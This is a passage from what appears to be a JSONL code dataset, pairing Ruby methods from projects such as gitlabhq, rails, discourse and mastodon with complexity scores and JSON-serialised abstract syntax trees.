dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"using configuration file: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"to_s\"]},\"rstrip\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"supervisor\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_agent\"]},\"shutdown\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"stop_phase\",{\"type\":\"lvar\",\"children\":[\"old_agent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"str\",\"children\":[\"restart fluentd worker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker\"]},{\"type\":\"send\",\"children\":[null,\"worker_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"start_phase\",{\"type\":\"lvar\",\"children\":[\"new_agent\"]}]}]}]}]}","id":"6634d784-00bf-4fdd-a672-49fb9a9d3043"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/position_tracer.rb","start_line":13,"raw_source":"def initialize(project:, old_diff_refs:, new_diff_refs:, paths: nil)\n        @project = project\n        @old_diff_refs = old_diff_refs\n        @new_diff_refs = new_diff_refs\n        @paths = paths\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project\"]},{\"type\":\"kwarg\",\"children\":[\"old_diff_refs\"]},{\"type\":\"kwarg\",\"children\":[\"new_diff_refs\"]},{\"type\":\"kwoptarg\",\"children\":[\"paths\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@old_diff_refs\",{\"type\":\"lvar\",\"children\":[\"old_diff_refs\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@new_diff_refs\",{\"type\":\"lvar\",\"children\":[\"new_diff_refs\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@paths\",{\"type\":\"lvar\",\"children\":[\"paths\"]}]}]}]}","id":"ec3f27b2-c1e5-4378-ba40-c977ffba73db"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1326,"raw_source":"def silenced?\n    !!(silenced_till && silenced_till > Time.zone.now)\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"silenced?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silenced_till\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silenced_till\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]},\"!\"]},\"!\"]}]}","id":"af42cd4b-ecde-45b3-a66c-33c6a50fcb2f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/multibyte_chars_test.rb","start_line":296,"raw_source":"def test_indexed_insert_should_raise_on_range_overflow\n    before = @chars.to_s\n    assert_raise(RangeError) { @chars[10..12] = \"a\" }\n    assert_equal before, @chars\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_indexed_insert_should_raise_on_range_overflow\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"before\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chars\"]},\"to_s\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RangeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chars\"]},\"[]=\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[12]}]},{\"type\":\"str\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"before\"]},{\"type\":\"ivar\",\"children\":[\"@chars\"]}]}]}]}","id":"ac4fe884-2751-4e84-920d-f1fa89af5a77"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/share_lock_test.rb","start_line":412,"raw_source":"def test_manual_recursive_yield_restores_previous_compatible\n    ready = Concurrent::CyclicBarrier.new(2)\n    do_nesting = Concurrent::CountDownLatch.new\n    after_nesting = Concurrent::CountDownLatch.new\n\n    incompatible_thread = Thread.new do\n      ready.wait\n      @lock.exclusive(purpose: :z) { }\n    end\n\n    recursive_yield_shares_thread = Thread.new do\n      @lock.sharing do\n        ready.wait\n        @lock.yield_shares(compatible: [:y]) do\n          do_nesting.wait\n          @lock.sharing do\n            @lock.yield_shares(compatible: [:x, :y]) { }\n          end\n          after_nesting.wait\n        end\n      end\n    end\n\n    assert_threads_stuck incompatible_thread\n    do_nesting.count_down\n    assert_threads_stuck incompatible_thread\n\n    compatible_thread = Thread.new do\n      @lock.exclusive(purpose: :y) { }\n    end\n    assert_threads_not_stuck compatible_thread\n\n    post_nesting_incompatible_thread = Thread.new do\n      @lock.exclusive(purpose: :x) { }\n    end\n    assert_threads_stuck post_nesting_incompatible_thread\n\n    after_nesting.count_down\n    assert_threads_not_stuck recursive_yield_shares_thread\n    # post_nesting_incompatible_thread can now proceed\n    assert_threads_not_stuck post_nesting_incompatible_thread\n    # assert_threads_not_stuck can now proceed\n    assert_threads_not_stuck incompatible_thread\n  end","complexity_score":50.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_manual_recursive_yield_restores_previous_compatible\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ready\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CyclicBarrier\"]},\"new\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"do_nesting\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CountDownLatch\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"after_nesting\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"CountDownLatch\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"incompatible_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ready\"]},\"wait\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"sym\",\"children\":[\"z\"]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"recursive_yield_shares_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"sharing\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ready\"]},\"wait\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"yield_shares\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compatible\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"y\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"do_nesting\"]},\"wait\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"sharing\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"yield_shares\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compatible\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"sym\",\"children\":[\"y\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"after_nesting\"]},\"wait\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"incompatible_thread\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"do_nesting\"]},\"count_down\"]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"incompatible_thread\"]}]},{\"type\":\"lvasgn\",\"children\":[\"compatible_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"sym\",\"children\":[\"y\"]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"compatible_thread\"]}]},{\"type\":\"lvasgn\",\"children\":[\"post_nesting_incompatible_thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"exclusive\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"sym\",\"children\":[\"x\"]}]}]}]},{\"type\":\"args\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_stuck\",{\"type\":\"lvar\",\"children\":[\"post_nesting_incompatible_thread\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"after_nesting\"]},\"count_down\"]},{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"recursive_yield_shares_thread\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"post_nesting_incompatible_thread\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_threads_not_stuck\",{\"type\":\"lvar\",\"children\":[\"incompatible_thread\"]}]}]}]}","id":"14e12060-81e2-4883-b760-c9c542953359"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_status_update_service.rb","start_line":140,"raw_source":"def update_poll!(allow_significant_changes: true)\n    previous_poll        = @status.preloadable_poll\n    @previous_expires_at = previous_poll&.expires_at\n    poll_parser          = ActivityPub::Parser::PollParser.new(@json)\n\n    if poll_parser.valid?\n      poll = previous_poll || @account.polls.new(status: @status)\n\n      # If for some reasons the options were changed, it invalidates all previous\n      # votes, so we need to remove them\n      @poll_changed = true if poll_parser.significantly_changes?(poll)\n      return if @poll_changed && !allow_significant_changes\n\n      poll.last_fetched_at = Time.now.utc\n      poll.options         = poll_parser.options\n      poll.multiple        = poll_parser.multiple\n      poll.expires_at      = poll_parser.expires_at\n      poll.voters_count    = poll_parser.voters_count\n      poll.cached_tallies  = poll_parser.cached_tallies\n      poll.reset_votes! if @poll_changed\n      poll.save!\n\n      @status.poll_id = poll.id\n    elsif previous_poll.present?\n      return unless allow_significant_changes\n\n      previous_poll.destroy!\n      @poll_changed = true\n      @status.poll_id = nil\n    end\n  end","complexity_score":49.9,"ast_json":"{\"type\":\"def\",\"children\":[\"update_poll!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"allow_significant_changes\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"previous_poll\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"preloadable_poll\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@previous_expires_at\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_poll\"]},\"expires_at\"]}]},{\"type\":\"lvasgn\",\"children\":[\"poll_parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Parser\"]},\"PollParser\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@json\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll_parser\"]},\"valid?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"poll\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_poll\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"polls\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"ivar\",\"children\":[\"@status\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll_parser\"]},\"significantly_changes?\",{\"type\":\"lvar\",\"children\":[\"poll\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@poll_changed\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@poll_changed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allow_significant_changes\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"last_fetched_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"options=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll_parser\"]},\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"multiple=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll_parser\"]},\"multiple\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"expires_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll_parser\"]},\"expires_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"voters_count=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll_parser\"]},\"voters_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"cached_tallies=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll_parser\"]},\"cached_tallies\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@poll_changed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"reset_votes!\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"poll_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_poll\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allow_significant_changes\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_poll\"]},\"destroy!\"]},{\"type\":\"ivasgn\",\"children\":[\"@poll_changed\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"poll_id=\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}]}","id":"5152f0db-6ff1-4c06-a107-305f67fc0c40"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/markdown_cache/active_record/extension.rb","start_line":28,"raw_source":"def attributes\n          attrs = super\n          html_fields = cached_markdown_fields.html_fields\n          whitelisted = cached_markdown_fields.html_fields_whitelisted\n          exclude_fields = html_fields - whitelisted\n\n          attrs.except!(*exclude_fields)\n          attrs.delete('cached_markdown_version') if whitelisted.empty?\n\n          attrs\n        end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"html_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_markdown_fields\"]},\"html_fields\"]}]},{\"type\":\"lvasgn\",\"children\":[\"whitelisted\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_markdown_fields\"]},\"html_fields_whitelisted\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exclude_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_fields\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"whitelisted\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"except!\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclude_fields\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"whitelisted\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"delete\",{\"type\":\"str\",\"children\":[\"cached_markdown_version\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}","id":"9d1236ea-fc6a-4f75-a700-62a41adabaa8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/usage_data/topology_spec.rb","start_line":687,"raw_source":"def receive_node_service_process_count_query(result: nil)\n    receive(:query)\n      .with(/service_process:count/, an_instance_of(Hash))\n      .and_return(result || [\n        # instance 1\n        {\n          'metric' => { 'instance' => 'instance1:8080', 'job' => 'gitlab-rails' },\n          'value' => [1000, '10']\n        },\n                    {\n                      'metric' => { 'instance' => 'instance1:8090', 'job' => 'gitlab-sidekiq' },\n                      'value' => [1000, '5']\n                    },\n                    # instance 2\n                    {\n                      'metric' => { 'instance' => 'instance2:8090', 'job' => 'gitlab-sidekiq' },\n                      'value' => [1000, '15']\n                    },\n                    {\n                      'metric' => { 'instance' => 'instance2:9121', 'job' => 'redis' },\n                      'value' => [1000, '1']\n                    },\n                    {\n                      'metric' => { 'instance' => 'instance2:8080', 'job' => 'registry' },\n                      'value' => [1000, '1']\n                    }\n      ])\n  end","complexity_score":7.82,"ast_json":"{\"type\":\"def\",\"children\":[\"receive_node_service_process_count_query\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"result\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"query\"]}]},\"with\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"service_process:count\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"an_instance_of\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},\"and_return\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"metric\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"instance\"]},{\"type\":\"str\",\"children\":[\"instance1:8080\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"job\"]},{\"type\":\"str\",\"children\":[\"gitlab-rails\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1000]},{\"type\":\"str\",\"children\":[\"10\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"metric\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"instance\"]},{\"type\":\"str\",\"children\":[\"instance1:8090\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"job\"]},{\"type\":\"str\",\"children\":[\"gitlab-sidekiq\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1000]},{\"type\":\"str\",\"children\":[\"5\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"metric\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"instance\"]},{\"type\":\"str\",\"children\":[\"instance2:8090\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"job\"]},{\"type\":\"str\",\"children\":[\"gitlab-sidekiq\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1000]},{\"type\":\"str\",\"children\":[\"15\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"metric\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"instance\"]},{\"type\":\"str\",\"children\":[\"instance2:9121\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"job\"]},{\"type\":\"str\",\"children\":[\"redis\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1000]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"metric\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"instance\"]},{\"type\":\"str\",\"children\":[\"instance2:8080\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"job\"]},{\"type\":\"str\",\"children\":[\"registry\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1000]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}]}]}]}","id":"64b7c6e6-2489-4785-8fe7-17479afef5aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/database/consistency_check_service.rb","start_line":45,"raw_source":"def execute\n      start_id = next_start_id\n\n      return EMPTY_RESULT if start_id.nil?\n\n      result = consistency_checker.execute(start_id: start_id)\n      result[:start_id] = start_id\n\n      save_next_start_id(result[:next_start_id])\n\n      result\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_id\",{\"type\":\"send\",\"children\":[null,\"next_start_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_id\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EMPTY_RESULT\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"consistency_checker\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_id\"]},{\"type\":\"lvar\",\"children\":[\"start_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"start_id\"]},{\"type\":\"lvar\",\"children\":[\"start_id\"]}]},{\"type\":\"send\",\"children\":[null,\"save_next_start_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"next_start_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"129202f4-187d-4397-9c72-2abd985358fc"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/users/base_contract.rb","start_line":81,"raw_source":"def identity_url_writable?\n      user.admin?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"identity_url_writable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"admin?\"]}]}","id":"42cdd048-715d-4bce-8d2e-b44402db7cf3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/grape_logging/formatters/lograge_with_timestamp.rb","start_line":36,"raw_source":"def utf8_encode_values(data)\n          case data\n          when Hash\n            data.merge!(data) { |k, v| utf8_encode_values(v) }\n          when Array\n            data.map! { |v| utf8_encode_values(v) }\n          when String\n            encode_utf8(data)\n          else\n            data\n          end\n        end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"utf8_encode_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"utf8_encode_values\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"utf8_encode_values\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[null,\"encode_utf8\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"4d32940f-859d-4408-88a3-83464675f310"}
